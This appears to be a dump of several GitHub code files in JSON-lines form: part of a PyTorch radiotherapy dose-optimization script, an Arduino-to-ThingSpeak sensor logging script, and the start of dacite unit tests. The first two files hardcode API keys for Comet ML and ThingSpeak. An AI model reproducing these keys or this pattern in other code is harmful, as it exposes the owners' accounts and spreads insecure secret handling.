beta*(tumor_dose**2).sum())/T.shape[0]\n\tobjective = loss.item()\n\texperiment.log_metric(\"Objective\", objective, step=epoch)\n\tOAR_names = list(dose_deposition_dict.keys())[1:] #Not including Target\n\t#Create penalties and add to the loss\n\tfor oar in OAR_names:\n\t\tH = dose_deposition_dict[oar]\n\t\toar_dose = H@u\n\t\tconstraint_type, constraint_dose, constraint_N = constraint_dict[oar]\n\t\tconstraint_dose = constraint_dose/constraint_N #Dose per fraction\n\t\tgamma, delta = radbio_dict[oar]\n\t\tif constraint_type == 'max_dose':\n\t\t\tmax_constraint_BE = constraint_N*(gamma*constraint_dose + delta*constraint_dose**2)\n\t\t\tmax_constr = N*(gamma*oar_dose + delta*oar_dose**2)\n\t\t\tnum_violated += ((max_constr - max_constraint_BE)/max_constraint_BE > 0.05).sum()\n\t\t\tif oar in lambdas:\n\t\t\t\tloss += lambdas[oar]@F.relu(max_constr - max_constraint_BE)**2\n\t\t\telse:\n\t\t\t\tlambdas[oar] = torch.ones(max_constr.shape[0]).to(device)*args.lambda_init\n\t\t\t\tloss += lambdas[oar]@F.relu(max_constr - max_constraint_BE)**2\n\t\tif constraint_type == 'mean_dose':\n\t\t\t#Mean constr BE across voxels:\n\t\t\tmean_constraint_BE = constraint_N*(gamma*constraint_dose + delta*constraint_dose**2)\n\t\t\t#Mean BE across voxels\n\t\t\tmean_constr = N*(gamma*oar_dose.sum() + delta*(oar_dose**2).sum())/H.shape[0]\n\t\t\tnum_violated += ((mean_constr - mean_constraint_BE) > 0).sum()\n\t\t\tif oar in lambdas:\n\t\t\t\tloss += lambdas[oar]*F.relu(mean_constr - mean_constraint_BE)**2\n\t\t\telse:\n\t\t\t\tlambdas[oar] = args.lambda_init\n\t\t\t\tloss += lambdas[oar]*F.relu(mean_constr - mean_constraint_BE)**2\n\t#smoothing constraint:\n\texperiment.log_metric(\"Num violated\", num_violated, step=epoch)\n\tsmoothing_constr = S@u\n\tnum_violated_smoothing = (smoothing_constr > 0).sum()\n\tavg_smoothing_violation = (smoothing_constr[smoothing_constr > 0]).max()\n\tif 'smoothing' in lambdas:\n\t\tloss += lambdas['smoothing']@F.relu(smoothing_constr)**2\n\telse:\n\t\tlambdas['smoothing'] = torch.ones(S.shape[0]).to(device)*args.lambda_init\n\t\tloss += lambdas['smoothing']@F.relu(smoothing_constr)**2\n\texperiment.log_metric(\"Num violated smoothing\", num_violated_smoothing, step=epoch)\n\texperiment.log_metric(\"Max violation smoothing\", avg_smoothing_violation, step=epoch)\n\texperiment.log_metric(\"Loss\", loss.item(), step=epoch)\n\treturn loss, lambdas, num_violated, num_violated_smoothing, objective\n\ndef relaxed_loss_lagrange(epoch, u, lambdas_var, N, dose_deposition_dict, constraint_dict, radbio_dict, S, experiment, args, device = 'cuda', lambdas = None):\n\t\"\"\"\n\tLambdas_var is a list of lambda variable tensors correponding to the OAR_names\n\t\"\"\"\n\tnum_violated = 0\n\talpha, beta = radbio_dict['Target'] #Linear and quadratic coefficients\n\tT = dose_deposition_dict['Target']\n\ttumor_dose = T@u\n\t#tumor BE: division to compute average BE, to be on the same scale with max dose\n\tloss = -N*(alpha*tumor_dose.sum() + beta*(tumor_dose**2).sum())/T.shape[0]\n\tobjective = loss.item()\n\texperiment.log_metric(\"Objective\", objective, step=epoch)\n\tOAR_names = list(dose_deposition_dict.keys())[1:] #Not including Target\n\t#Create penalties and add to the loss\n\tfor oar_num, oar in enumerate(OAR_names):\n\t\tH = dose_deposition_dict[oar]\n\t\toar_dose = H@u\n\t\tconstraint_type, constraint_dose, constraint_N = constraint_dict[oar]\n\t\tconstraint_dose = constraint_dose/constraint_N #Dose per fraction\n\t\tgamma, delta = radbio_dict[oar]\n\t\tif constraint_type == 'max_dose':\n\t\t\tmax_constraint_BE = constraint_N*(gamma*constraint_dose + delta*constraint_dose**2)\n\t\t\tmax_constr = N*(gamma*oar_dose + delta*oar_dose**2)\n\t\t\tnum_violated += ((max_constr - max_constraint_BE)/max_constraint_BE > 0.05).sum()\n\t\t\tif oar in lambdas:\n\t\t\t\tloss += lambdas_var[oar_num]@(max_constr - max_constraint_BE)\n\t\t\telse:\n\t\t\t\traise ValueError('Lambdas cannot be None for Lagrangian optimization')\n\t\tif constraint_type == 'mean_dose':\n\t\t\t#Mean constr BE across voxels:\n\t\t\tmean_constraint_BE = constraint_N*(gamma*constraint_dose + delta*constraint_dose**2)\n\t\t\t#Mean BE across voxels\n\t\t\tmean_constr = N*(gamma*oar_dose.sum() + delta*(oar_dose**2).sum())/H.shape[0]\n\t\t\tnum_violated += ((mean_constr - mean_constraint_BE) > 0).sum()\n\t\t\tif oar in lambdas:\n\t\t\t\tloss += lambdas_var[oar_num]*(mean_constr - mean_constraint_BE)\n\t\t\telse:\n\t\t\t\traise ValueError('Lambdas cannot be None for Lagrangian optimization')\n\t#smoothing constraint: should be the last element of lambdas_var\n\texperiment.log_metric(\"Num violated\", num_violated, step=epoch)\n\tsmoothing_constr = S@u\n\tnum_violated_smoothing = (smoothing_constr > 0).sum()\n\tmax_smoothing_violation = (smoothing_constr[smoothing_constr > 0]).max()\n\tif 'smoothing' in lambdas:\n\t\tloss += lambdas_var[-1]@smoothing_constr\n\telse:\n\t\traise ValueError('Lambdas cannot be None for Lagrangian optimization')\n\texperiment.log_metric(\"Num violated smoothing\", num_violated_smoothing.item(), step=epoch)\n\texperiment.log_metric(\"Max violation smoothing\", max_smoothing_violation.item(), step=epoch)\n\texperiment.log_metric(\"Loss\", loss.item(), step=epoch)\n\texperiment.log_metric(\"Avg lambda\", np.mean([lambda_.mean().item() for lambda_ in lambdas_var]), step=epoch)\n\texperiment.log_metric(\"Min lambda\", np.min([lambda_.min().item() for lambda_ in lambdas_var]), step=epoch)\n\texperiment.log_metric(\"Max lambda\", np.max([lambda_.max().item() for lambda_ in lambdas_var]), step=epoch)\n\texperiment.log_metric('Avg u', u.mean().item(), step = epoch)\n\tif args.optimize_N:\n\t\tloss = loss + ((N-1)*np.log(2.0)/args.tumor_double_time)\n\treturn loss, num_violated, num_violated_smoothing, objective\n\ndef initialize_lambdas(u, N, dose_deposition_dict, constraint_dict, radbio_dict, S, experiment, device = 'cuda'):\n\twith torch.no_grad():\n\t\tlambdas = {}\n\t\tnum_violated = 0\n\t\talpha, beta = radbio_dict['Target'] #Linear and quadratic coefficients\n\t\tT = dose_deposition_dict['Target']\n\t\ttumor_dose = T@u\n\t\t#tumor BE: division to compute average BE, to be on the same scale with max dose\n\t\tloss = -N*(alpha*tumor_dose.sum() + beta*(tumor_dose**2).sum())/T.shape[0]\n\t\tobjective = loss.item()\n\t\tOAR_names = list(dose_deposition_dict.keys())[1:] #Not including Target\n\t\t#Create penalties and add to the loss\n\t\tfor oar in OAR_names:\n\t\t\tH = dose_deposition_dict[oar]\n\t\t\toar_dose = H@u\n\t\t\tconstraint_type, constraint_dose, constraint_N = constraint_dict[oar]\n\t\t\tconstraint_dose = constraint_dose/constraint_N #Dose per fraction\n\t\t\tgamma, delta = radbio_dict[oar]\n\t\t\tif constraint_type == 'max_dose':\n\t\t\t\tmax_constraint_BE = constraint_N*(gamma*constraint_dose + delta*constraint_dose**2)\n\t\t\t\tmax_constr = N*(gamma*oar_dose + delta*oar_dose**2)\n\t\t\t\tnum_violated += ((max_constr - max_constraint_BE)/max_constraint_BE > 0.05).sum()\n\t\t\t\t\n\t\t\t\tlambdas[oar] = torch.zeros_like(max_constr - max_constraint_BE).to(device)\n\t\t\t\n\t\t\tif constraint_type == 'mean_dose':\n\t\t\t\t#Mean constr BE across voxels:\n\t\t\t\tmean_constraint_BE = constraint_N*(gamma*constraint_dose + delta*constraint_dose**2)\n\t\t\t\t#Mean BE across voxels\n\t\t\t\tmean_constr = N*(gamma*oar_dose.sum() + delta*(oar_dose**2).sum())/H.shape[0]\n\t\t\t\tnum_violated += ((mean_constr - mean_constraint_BE) > 0).sum()\n\t\t\t\t\n\t\t\t\tlambdas[oar] = torch.zeros_like(mean_constr - mean_constraint_BE).to(device)\n\t\t\t\t\n\t\t#smoothing constraint:\n\n\t\tsmoothing_constr = S@u\n\t\t\n\t\tlambdas['smoothing'] = torch.zeros_like(smoothing_constr).to(device)\n\tlambdas_var = [lambdas[constr].requires_grad_() for constr in lambdas]\n\tprint('\\n Initializing Lambdas:')\n\tfor i, constr in enumerate(lambdas):\n\t\tprint('Lambdas:', lambdas[constr].shape)\n\t\tprint('Vars:', lambdas_var[i].shape)\n\t# raise ValueError('Stop')\n\treturn lambdas, lambdas_var\n\ndef create_coefficient_dicts(data, device):\n\t\"\"\"So far only creates coefficients for the first modality\"\"\"\n\tdose_deposition_dict = {}\n\tconstraint_dict = {}\n\tradbio_dict = {}\n\t# coefficient_dict = {}\n\n\torgan_names = [str(i[0]) for i in np.squeeze(data['Organ'])]\n\tlen_voxels = data['Aphoton'].shape[0]\n\t#[:-1] because we don't want the last isolated voxel\n\torgan_indices = np.split(np.arange(len_voxels), np.cumsum(np.squeeze(data['num_voxels'])))[:-1]\n\tOAR_constr_types = np.squeeze(data['OAR_constraint_types'])\n\tOAR_constr_values = np.squeeze(data['OAR_constraint_values'])\n\tfor organ_number, organ_name in enumerate(organ_names):\n\t\toar_number = organ_number - 1 #Because Target is also an organ\n\t\t# dose_deposition_dict[organ_name] = torch.from_numpy(data['Aphoton'][organ_indices[organ_number]])\n\t\tdose_deposition_dict[organ_name] = csr_matrix_to_coo_tensor(data['Aphoton'][organ_indices[organ_number]]).to(device)\n\t\tif organ_name == 'Target':\n\t\t\tradbio_dict[organ_name] = Alpha[0], Beta[0] #So far, only photons\n\t\t\t# coefficient_dict[organ_name] = alpha*torch.ones(T.shape[0])@T\n\t\tif organ_name != 'Target':\n\t\t\tconstraint_type = OAR_constr_types[oar_number].strip()\n\t\t\tconstraint_dose = OAR_constr_values[oar_number]\n\t\t\tconstraint_N = 44\n\t\t\tconstraint_dict[organ_name] = constraint_type, constraint_dose, constraint_N\n\t\t\tradbio_dict[organ_name] = Gamma[oar_number][0], Delta[oar_number][0]\n\treturn dose_deposition_dict, constraint_dict, radbio_dict\n\ndef dv_adjust_coefficient_dicts(data, dose_deposition_dict, dv_to_max_oar_ind_dict, device):\n\t\"\"\"So far only creates coefficients for the first modality\"\"\"\n\torgan_names = [str(i[0]) for i in np.squeeze(data['Organ'])]\n\tlen_voxels = data['Aphoton'].shape[0]\n\t#[:-1] because we don't want the last isolated voxel\n\torgan_indices = np.split(np.arange(len_voxels), np.cumsum(np.squeeze(data['num_voxels'])))[:-1]\n\tfor organ_number, organ_name in enumerate(organ_names):\n\t\tif organ_name in dv_to_max_oar_ind_dict:\n\t\t\tprint('\\n Old len:', dose_deposition_dict[organ_name].shape[0])\n\t\t\tdose_matrix = data['Aphoton'][organ_indices[organ_number]][dv_to_max_oar_ind_dict[organ_name]]\n\t\t\tdose_deposition_dict[organ_name] = csr_matrix_to_coo_tensor(dose_matrix).to(device)\n\t\t\tprint('\\n New len:', dose_deposition_dict[organ_name].shape[0])\n\treturn dose_deposition_dict\n\ndef csr_matrix_to_coo_tensor(matrix):\n\tcoo = scipy.sparse.coo_matrix(matrix)\n\n\tvalues = coo.data\n\tindices = np.vstack((coo.row, coo.col))\n\n\ti = torch.LongTensor(indices)\n\tv = torch.FloatTensor(values)\n\tshape = coo.shape\n\n\treturn torch.sparse.FloatTensor(i, v, torch.Size(shape))\n\nif __name__ == '__main__':\n\targs = parser.parse_args()\n\tdevice = 'cuda' if torch.cuda.is_available() else 'cpu'\n\n\texperiment = Experiment(api_key='P63wSM91MmVDh80ZBZbcylZ8L', project_name='mmort_torch')\n\n\t#########################\n\t##Load raw data\n\t#########################\n\tdata_path = os.path.abspath(os.path.join(os.getcwd(), '..', 'data', args.data_name))\n\tdata = scipy.io.loadmat(data_path)\n\n\t###########################\n\t#Experimental Setup Part\n\t###########################\n\n\t#Load experimental setup from config\n\texperiment_setup = configurations[args.config_experiment]\n\n\tAlpha = experiment_setup['Alpha']\n\tBeta = experiment_setup['Beta']\n\tGamma = experiment_setup['Gamma']\n\tDelta = experiment_setup['Delta']\n\n\tmodality_names = experiment_setup['modality_names']\n\n\tprint('\\nExperimental Setup: \\nAlpha={} \\nBeta={} \\nGamma={} \\nDelta={} \\nModality Names: {}'.format(Alpha, Beta, Gamma, Delta, modality_names))\n\n\tnum_body_voxels = 683189\n\tdata['Aphoton'][-1] = data['Aphoton'][-1]/num_body_voxels\n\tdata['Aproton'][-1] = data['Aproton'][-1]/num_body_voxels\n\n\tfor modality in modality_names:\n\t data[modality] = scipy.sparse.csr_matrix(data[modality])\n\n\t#Data with max dose (to be used with DVC):\n\tdata_max_dose = copy.deepcopy(data)\n\tdata_max_dose['OAR_constraint_types'][data_max_dose['OAR_constraint_types'] == 'dose_volume'] = 'max_dose'\n\n\tprint('\\nData loaded from '+data_path)\n\t\n\t\n\t\n\t###################################\n\t##Solution: photons\n\t###################################\n\t#No dose volume\n\tN = 44\n\t#Set up smoothing matrix\n\tlen_voxels = data['Aphoton'].shape[0]\n\tbeamlet_indices = np.split(np.arange(len_voxels), np.cumsum(np.squeeze(data['num_beamlets'])))[:-1] \n\tbeams = [data['beamlet_pos'][i] for i in beamlet_indices]\n\tS = csr_matrix_to_coo_tensor(utils.construct_smoothing_matrix_relative(beams, 0.25, eps = 5)).to(device)\n\n\tdose_deposition_dict, constraint_dict, radbio_dict = create_coefficient_dicts(data, device)\n\n\tprint('\\nDose_deposition_dict:', dose_deposition_dict)\n\tprint('\\nConstraint dict:', constraint_dict)\n\tprint('\\nradbio_dict:', radbio_dict)\n\tprint('\\nN:', N)\n\tprint('\\nS shape:', S.shape)\n\n\t#Setup optimization\n\tif not args.precomputed:\n\t\tprint('\\n Running optimization...')\n\t\tRx = 81\n\t\tprint(data['num_voxels'][0])\n\t\tLHS1 = data['Aphoton'][:np.squeeze(data['num_voxels'])[0]]\n\t\tRHS1 = np.array([Rx/N]*LHS1.shape[0])\n\t\tu = torch.Tensor(scipy.optimize.lsq_linear(LHS1, RHS1, bounds = (0, np.inf), tol=1e-4, lsmr_tol=1e-4, max_iter=100, verbose=1).x)\n\t\tu = u.to(device)\n\t\tu.requires_grad_()\n\n\n\n\t\tif args.optimizer == 'SGD':\n\t\t\toptimizer = optim.SGD([u], lr=args.lr, momentum=0.9, nesterov = True)\n\t\telif args.optimizer == 'Adam':\n\t\t\toptimizer = optim.Adam([u], lr=args.lr)\n\t\telif args.optimizer == 'LBFGS':\n\t\t\toptimizer = optim.LBFGS([u])\n\t\telse:\n\t\t\traise ValueError('The optimizer option {} is not supported'.format(args.optimizer))\n\n\t\tif not args.lagrange:\n\t\t\tlambdas = {}\n\n\t\tif args.lagrange:\n\t\t\tlambdas, lambdas_var = initialize_lambdas(u, N, dose_deposition_dict, constraint_dict, radbio_dict, S, experiment, device = 'cuda')\n\t\t\t# for constraint in lambdas_var:\n\t\t\t# \tlambdas[constraint].requires_grad_()\n\t\t\toptimizer_lambdas = optim.Adam(lambdas_var, lr=args.lambda_lr)\n\n\t\tif not args.lagrange:\t\n\t\t\tfor epoch in range(args.num_epochs):\n\t\t\t\toptimizer.zero_grad()\n\t\t\t\tloss, lambdas, num_violated, num_violated_smoothing, objective = relaxed_loss(epoch, u, N, dose_deposition_dict, constraint_dict, radbio_dict, S, experiment, device = device, lambdas = lambdas)\n\t\t\t\tprint('\\n Loss {} \\n Objective {} \\n Num Violated {} \\n Num Violated Smoothing {}'.format(loss, objective, num_violated, num_violated_smoothing))\n\t\t\t\tloss.backward()\n\t\t\t\toptimizer.step()\n\t\t\t\t#Box constraint\n\t\t\t\tu.data = torch.maximum(torch.minimum(u, torch.ones_like(u)*args.u_max), torch.zeros_like(u))\n\n\t\tif args.lagrange:\n\t\t\tfor epoch in range(args.num_epochs):\n\t\t\t\t#Update u:\n\t\t\t\tprint('\\n u step')\n\t\t\t\toptimizer.zero_grad()\n\t\t\t\tloss, num_violated, num_violated_smoothing, objective = relaxed_loss_lagrange(epoch, u, lambdas_var, N, dose_deposition_dict, constraint_dict, radbio_dict, S, experiment, args, device = device, lambdas = lambdas)\n\t\t\t\tprint('\\n Loss {} \\n Objective {} \\n Num Violated {} \\n Num Violated Smoothing {}'.format(loss, objective, num_violated, num_violated_smoothing))\n\t\t\t\tloss.backward()\n\t\t\t\toptimizer.step()\n\t\t\t\t#Box constraint\n\t\t\t\tu.data = torch.maximum(torch.minimum(u, torch.ones_like(u)*args.u_max), torch.zeros_like(u))\n\t\t\t\t\n\t\t\t\t#Update lambdas:\n\t\t\t\tprint('\\n lambdas step')\t\t\n\t\t\t\toptimizer_lambdas.zero_grad()\n\t\t\t\tloss_lambdas, num_violated, num_violated_smoothing, objective = relaxed_loss_lagrange(epoch, u, lambdas_var, N, dose_deposition_dict, constraint_dict, radbio_dict, S, experiment, args, device = device, lambdas = lambdas)\n\t\t\t\tloss_lambdas = (-1)*loss_lambdas\n\t\t\t\tloss_lambdas.backward()\n\t\t\t\toptimizer_lambdas.step()\n\t\t\t\t#Box contraint (lambda >= 0)\n\t\t\t\tfor constraint in range(len(lambdas_var)):\n\t\t\t\t\tlambdas_var[constraint].data = torch.maximum(lambdas_var[constraint], torch.zeros_like(lambdas_var[constraint]))\n\t\tprint(u)\n\n\t\t#To run: python3 projected_gradient_mmort.py --lr 1e-6 --lambda_init 1e3 --num_epochs 10000\n\t\tif not args.lagrange:\n\t\t\tutils.save_obj(u.detach().cpu().numpy(), 'u_photon_pytorch')\n\t\tif args.lagrange:\n\t\t\tutils.save_obj(u.detach().cpu().numpy(), 'u_photon_pytorch_lagrange')\n\n\tif args.precomputed:\n\t\tif not args.lagrange:\n\t\t\tu = torch.from_numpy(utils.load_obj('u_photon_pytorch', ''))\n\t\t\tu = u.to(device)\n\t\t\tu.requires_grad_()\n\t\tif args.lagrange:\n\t\t\tu = torch.from_numpy(utils.load_obj('u_photon_pytorch_lagrange', ''))\n\t\t\tu = u.to(device)\n\t\t\tu.requires_grad_()\n\n\t####################\n\t##DVC: Photons\n\t####################\n\tprint('Setting up DVC data...')\n\t#Setup input\n\toar_indices, dv_to_max_oar_ind_dict = utils.generate_dose_volume_input_torch(u.detach().cpu().numpy(), np.array([N, 0]), data, Alpha, Beta, Gamma, Delta, photon_only = True, proton_only = False)\n\n\tdose_deposition_dict_dv, constraint_dict_dv, radbio_dict_dv = create_coefficient_dicts(data_max_dose, device)\n\t\n\t# for organ in dv_to_max_oar_ind_dict:\n\t# \tprint('\\n DVC organ {} with constr: {}'.format(organ, constraint_dict_dv[organ]))\n\t# \tprint('\\n Old len:', dose_deposition_dict_dv[organ].shape[0])\n\t# \tdose_deposition_dict_dv[organ] = dose_deposition_dict_dv[organ][torch.from_numpy(dv_to_max_oar_ind_dict[organ]).to(device)]\n\t# \tprint('\\n New len:', dose_deposition_dict_dv[organ].shape[0])\n\tdose_deposition_dict_dv = dv_adjust_coefficient_dicts(data_max_dose, dose_deposition_dict_dv, dv_to_max_oar_ind_dict, device)\n\n\t#Compute solution\n\tprint('Computing DV solution')\n\tprint('\\nDose_deposition_dict:', dose_deposition_dict_dv)\n\tprint('\\nConstraint dict:', constraint_dict_dv)\n\tprint('\\nradbio_dict:', radbio_dict_dv)\n\tprint('\\nN:', N)\n\tprint('\\nS shape:', S.shape)\n\n\n\t#Setup optimization\n\tprint('\\n Running optimization...')\n\t#Uncomment this to setup an initial guess on u from scratch\n\tif args.initial_guess_for_dv:\n\t\tRx = 81\n\t\tprint(data['num_voxels'][0])\n\t\tLHS1 = data['Aphoton'][:np.squeeze(data['num_voxels'])[0]]\n\t\tRHS1 = np.array([Rx/N]*LHS1.shape[0])\n\t\tu = torch.Tensor(scipy.optimize.lsq_linear(LHS1, RHS1, bounds = (0, np.inf), tol=1e-4, lsmr_tol=1e-4, max_iter=100, verbose=1).x)\n\t\tu = u.to(device)\n\t\tu.requires_grad_()\n\n\tif args.optimize_N:\n\t\tN = torch.tensor(44.0)\n\t\tN.requires_grad_()\n\n\tif args.optimizer == 'SGD':\n\t\toptimizer = optim.SGD([u], lr=args.lr, momentum=0.9, nesterov = True)\n\telif args.optimizer == 'Adam':\n\t\tif args.optimize_N:\n\t\t\toptimizer = optim.Adam([{'params': [u]}, \n\t\t\t{'params': [N], 'lr': args.N_lr}], lr=args.lr)\n\t\telse:\n\t\t\toptimizer = optim.Adam([u], lr=args.lr)\n\telif args.optimizer == 'LBFGS':\n\t\toptimizer = optim.LBFGS([u])\n\telse:\n\t\traise ValueError('The optimizer option {} is not supported'.format(args.optimizer))\n\n\tif not args.lagrange:\n\t\tlambdas = {}\n\n\tif args.lagrange:\n\t\tlambdas, lambdas_var = initialize_lambdas(u, N, dose_deposition_dict_dv, constraint_dict_dv, radbio_dict_dv, S, experiment, device = 'cuda')\n\t\t# for constraint in lambdas:\n\t\t# \tlambdas[constraint].requires_grad_()\n\t\toptimizer_lambdas = optim.Adam(lambdas_var, lr=args.lambda_lr)\n\n\t# lambdas = {dv_organ: torch.ones(dv_to_max_oar_ind_dict[dv_organ].shape[0]).to(device)*args.lambda_init/10 for dv_organ in dv_to_max_oar_ind_dict}#{}\n\tif not args.lagrange:\n\t\tfor epoch in range(args.num_epochs):\n\t\t\toptimizer.zero_grad()\n\t\t\tloss, lambdas, num_violated, num_violated_smoothing, objective = relaxed_loss(epoch, u, N, dose_deposition_dict_dv, constraint_dict_dv, radbio_dict_dv, S, experiment, device = device, lambdas = lambdas)\n\t\t\tprint('\\n Loss {} \\n Objective {} \\n Num Violated {} \\n Num Violated Smoothing {}'.format(loss, objective, num_violated, num_violated_smoothing))\n\t\t\tloss.backward()\n\t\t\toptimizer.step()\n\t\t\t#Box constraint\n\t\t\tu.data = torch.maximum(torch.minimum(u, torch.ones_like(u)*args.u_max), torch.zeros_like(u))\n\n\tif args.lagrange:\n\t\tfor epoch in range(args.num_epochs):\n\t\t\t#Update u:\n\t\t\tprint('\\n u step')\n\t\t\toptimizer.zero_grad()\n\t\t\tloss, num_violated, num_violated_smoothing, objective = relaxed_loss_lagrange(epoch, u, lambdas_var, N, dose_deposition_dict_dv, constraint_dict_dv, radbio_dict_dv, S, experiment, args, device = device, lambdas = lambdas)\n\t\t\tprint('\\n Loss {} \\n Objective {} \\n Num Violated {} \\n Num Violated Smoothing {}'.format(loss, objective, num_violated, num_violated_smoothing))\n\t\t\texperiment.log_metric(\"Loss_u\", loss.item(), step=epoch)\n\t\t\tloss.backward()\n\t\t\toptimizer.step()\n\t\t\t#Box constraint\n\t\t\tu.data = torch.maximum(torch.minimum(u, torch.ones_like(u)*args.u_max), torch.zeros_like(u))\n\t\t\tif args.optimize_N:\n\t\t\t\tN.data = torch.maximum(torch.minimum(N, torch.ones_like(N)*args.N_max), torch.zeros_like(N))\n\t\t\t\texperiment.log_metric(\"N\", N.item(), step=epoch)\n\t\t\t\n\t\t\t#Update lambdas:\n\t\t\tprint('\\n lambdas step')\n\t\t\toptimizer_lambdas.zero_grad()\n\t\t\tloss_lambdas, num_violated, num_violated_smoothing, objective = relaxed_loss_lagrange(epoch, u, lambdas_var, N, dose_deposition_dict_dv, constraint_dict_dv, radbio_dict_dv, S, experiment, args, device = device, lambdas = lambdas)\n\t\t\tprint('\\n Loss {} \\n Objective {} \\n Num Violated {} \\n Num Violated Smoothing {}'.format(loss_lambdas, objective, num_violated, num_violated_smoothing))\n\t\t\tloss_lambdas = (-1)*loss_lambdas\n\t\t\texperiment.log_metric(\"Loss_l\", loss_lambdas.item(), step=epoch)\n\t\t\tloss_lambdas.backward()\n\t\t\toptimizer_lambdas.step()\n\t\t\t#Box contraint (lambda >= 0)\n\t\t\tfor constraint in range(len(lambdas_var)):\n\t\t\t\tlambdas_var[constraint].data = torch.maximum(lambdas_var[constraint], torch.zeros_like(lambdas_var[constraint]))\n\tprint(u)\n\n\t#To run: python3 projected_gradient_mmort.py --lr 1e-6 --lambda_init 1e3 --num_epochs 10000\n\tif not args.lagrange:\n\t\tutils.save_obj(u.detach().cpu().numpy(), 'u_photon_dv_pytorch', args.save_dir)\n\tif args.lagrange:\n\t\tutils.save_obj(u.detach().cpu().numpy(), 'u_photon_dv_pytorch_lagrange', args.save_dir)\n\t#\n\t#TODO:\n\t#dvh + \n\t#multi-modality\n\t#lagrange optimization\n\t#IMRT\n\t#N optimization is so far implemented only in the second half\n\t#Run with faithfully computed init guess for dv","repo_name":"LevinRoman/MMORT","sub_path":"scripts/projected_gradient_mmort.py","file_name":"projected_gradient_mmort.py","file_ext":"py","file_size_in_byte":23927,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"70"} +{"seq_id":"36520576975","text":"import time\r\nimport matplotlib.pyplot as plt\r\nimport serial\r\nimport urllib.request\r\nimport json\r\nard = serial.Serial(\"COM5\", 9600)\r\nhu, te = [], []\r\ntry:\r\n while True:\r\n if ard.inWaiting() > 0:\r\n data = list(ard.readline().decode('utf-8').split(','))\r\n humidity = data[1]\r\n temperature = data[2]\r\n api = \"https://api.thingspeak.com/update?api_key=FO28QEWLOFYBS04G&\"\r\n final = api + \"field1=\" + humidity + \"&field2=\" + temperature\r\n f = urllib.request.urlopen(final)\r\n print(f)\r\n time.sleep(5)\r\nexcept KeyboardInterrupt as k:\r\n api = \"https://api.thingspeak.com/channels/1812090/fields/1.json?api_key=QKL4W4BNA82UJ8U4&results=2\"\r\n api1 = \"https://api.thingspeak.com/channels/1812090/fields/1.json?api_key=QKL4W4BNA82UJ8U4&results=\"\r\n api2 = \"https://api.thingspeak.com/channels/1812090/fields/2.json?api_key=QKL4W4BNA82UJ8U4&results=\"\r\n f = urllib.request.urlopen(api)\r\n data1 = json.loads(f.read().decode('utf-8'))\r\n feeds = data1[\"channel\"][\"last_entry_id\"]\r\n f = urllib.request.urlopen(api1 + str(feeds))\r\n f_temp = urllib.request.urlopen(api2 + str(feeds))\r\n data1 = json.loads(f.read().decode('utf-8'))[\"feeds\"]\r\n data2 = json.loads(f_temp.read().decode('utf-8'))[\"feeds\"]\r\n for i in range(feeds):\r\n hu.append(data1[i]['field1'])\r\n te.append(data2[i]['field2'])\r\n x = [i+1 for i in range(feeds)]\r\n plt.subplot(1, 2, 1)\r\n plt.plot(x, te)\r\n plt.ylabel(\"temperature\")\r\n plt.subplot(1, 2, 2)\r\n plt.plot(x, hu)\r\n plt.ylabel(\"humidity\")\r\n plt.title(\"DHT11 readings\")\r\n plt.show()","repo_name":"Harshavardhan200/sending-data-to-thingspeak","sub_path":"sending data to thingspeak.py","file_name":"sending data to thingspeak.py","file_ext":"py","file_size_in_byte":1649,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"19837632758","text":"from dataclasses import dataclass, field\nfrom typing import Any, NewType, Optional, List\n\nimport pytest\n\nfrom dacite import from_dict, MissingValueError, WrongTypeError\n\n\ndef test_from_dict_with_correct_data():\n @dataclass\n class X:\n s: str\n i: int\n f: float\n\n result = from_dict(X, {\"s\": \"test\", \"i\": 1, \"f\": 1.0})\n\n assert result == X(s=\"test\", i=1, f=1.0)\n\n\ndef test_from_dict_with_default_value():\n @dataclass\n class X:\n s: str\n i: int = 0\n\n result = from_dict(X, {\"s\": \"test\"})\n\n assert result == X(s=\"test\", i=0)\n\n\ndef test_from_dict_with_default_factory():\n @dataclass\n class X:\n s: str\n i: int = field(default_factory=lambda: 42)\n\n result = from_dict(X, {\"s\": \"test\"})\n\n assert result == X(s=\"test\", i=42)\n\n\ndef test_from_dict_with_wrong_type():\n @dataclass\n class X:\n s: str\n i: int\n\n with pytest.raises(WrongTypeError) as exception_info:\n from_dict(X, {\"s\": \"test\", \"i\": \"wrong\"})\n\n assert (\n str(exception_info.value)\n == 'wrong value type for field \"i\" - should be \"int\" instead of value \"wrong\" of type \"str\"'\n )\n assert exception_info.value.field_path == \"i\"\n assert exception_info.value.field_type == int\n assert exception_info.value.value == \"wrong\"\n\n\ndef test_from_dict_with_missing_value():\n @dataclass\n class X:\n s: str\n i: int\n\n with pytest.raises(MissingValueError) as exception_info:\n from_dict(X, {\"s\": \"test\"})\n\n assert str(exception_info.value) == 'missing value for field \"i\"'\n assert exception_info.value.field_path == \"i\"\n\n\ndef test_from_dict_with_nested_data_class():\n @dataclass\n class X:\n i: int\n\n @dataclass\n class Y:\n s: str\n x: X\n\n result = from_dict(Y, {\"s\": \"test\", \"x\": {\"i\": 1}})\n\n assert result == Y(s=\"test\", x=X(i=1))\n\n\ndef test_from_dict_with_missing_value_of_nested_data_class():\n @dataclass\n class X:\n i: int\n\n @dataclass\n class Y:\n x: X\n\n with pytest.raises(MissingValueError) as exception_info:\n from_dict(Y, {\"x\": {}})\n\n assert exception_info.value.field_path == \"x.i\"\n\n\ndef test_from_dict_with_additional_values():\n @dataclass\n class X:\n i: int\n\n result = from_dict(X, {\"i\": 1, \"s\": \"extra\"})\n\n assert result == X(i=1)\n\n\ndef test_from_dict_with_any():\n @dataclass\n class X:\n i: Any\n\n result = from_dict(X, {\"i\": 1})\n\n assert result == X(i=1)\n\n\ndef test_from_dict_with_nested_data_classes_and_default_factory():\n @dataclass\n class X:\n i: int\n\n @dataclass\n class Y:\n x: X = field(default_factory=lambda: X(i=42))\n\n result = from_dict(Y, {})\n\n assert result == Y(x=X(i=42))\n\n\ndef test_from_dict_with_post_init():\n @dataclass\n class X:\n s: str = field(init=False)\n\n x = X()\n x.s = \"test\"\n\n result = from_dict(X, {\"s\": \"test\"})\n\n assert result == x\n\n\ndef test_from_dict_with_post_init_missing_value():\n @dataclass\n class X:\n s: str = field(init=False)\n\n result = from_dict(X, {})\n\n assert not hasattr(result, \"s\")\n\n\ndef test_from_dict_with_optional_non_init_field():\n @dataclass\n class X:\n s: Optional[str] = 